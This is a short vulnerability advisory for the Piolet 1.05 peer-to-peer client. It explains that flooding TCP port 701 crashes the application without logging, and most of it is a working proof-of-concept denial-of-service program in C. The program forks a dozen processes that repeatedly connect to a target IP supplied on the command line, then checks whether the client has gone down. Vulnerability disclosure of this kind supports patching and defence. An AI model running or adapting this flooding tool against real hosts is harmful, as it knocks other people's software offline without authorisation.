What's Piolet: Piolet is a peer-to-peer file sharing client.
More information can be found at www.piolet.com


Vulnerability Description: By connecting TCP port 701, client show to user
a "voice chat session request" message.
Flooding this port, a remote attacker could
cause the application to crash. This attack
will go unlogged.


Affected Software: Piolet ver. 1.05



Exploit:

/************************************************** **********
* Piolet client v1.05 Remote Denial of Service *
* Proof of Concept by Luca Ercoli luca.ercoli[at]inwind.it *
************************************************** **********/

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>


int ck,port=701,sd,cx=0,contatore=0,prec;

struct sockaddr_in pilot_client;



void ending(char *client){

int i;


pilot_client.sin_family = AF_INET;
pilot_client.sin_port = htons((u_short)port);
pilot_client.sin_addr.s_addr = (long)inet_addr(client);


for(i = 0; i < 100; i++){

sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));


if(ck != 0) {

prec = 0;

if (prec == 0) contatore++;
if (prec == 1) contatore = 0;

if (contatore > 13) {
printf("! Remote client seems to be crashed.\n");
exit(0);
}

}

if(ck == 0) prec = 1;

close(sd);
}

}




void kill_pilot(char *stringa){

short i;

pilot_client.sin_family = AF_INET;
pilot_client.sin_port = htons((u_short)port);
pilot_client.sin_addr.s_addr = (long)inet_addr(stringa);


for(i = 0; i < 50; i++){


sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));


if(ck != 0) exit(0);

close(sd);

}

}




int main(int argc, char **argv)
{

short i;

prec = 0;

if(argc < 2)
{
printf("\nUsage: %s <client-ip>\n", argv[0]);
exit(0);
}


prec=0;

printf ("\n\n+ DoS Started...\n");
printf("+ Flooding remote client...\n");


for (i=0; i<12; i++) if(!fork()) kill_pilot(argv[1]);

printf ("+ Ending...\n");

ending(argv[1]);

}





--
Luca Ercoli luca.ercoli[at]inwind.it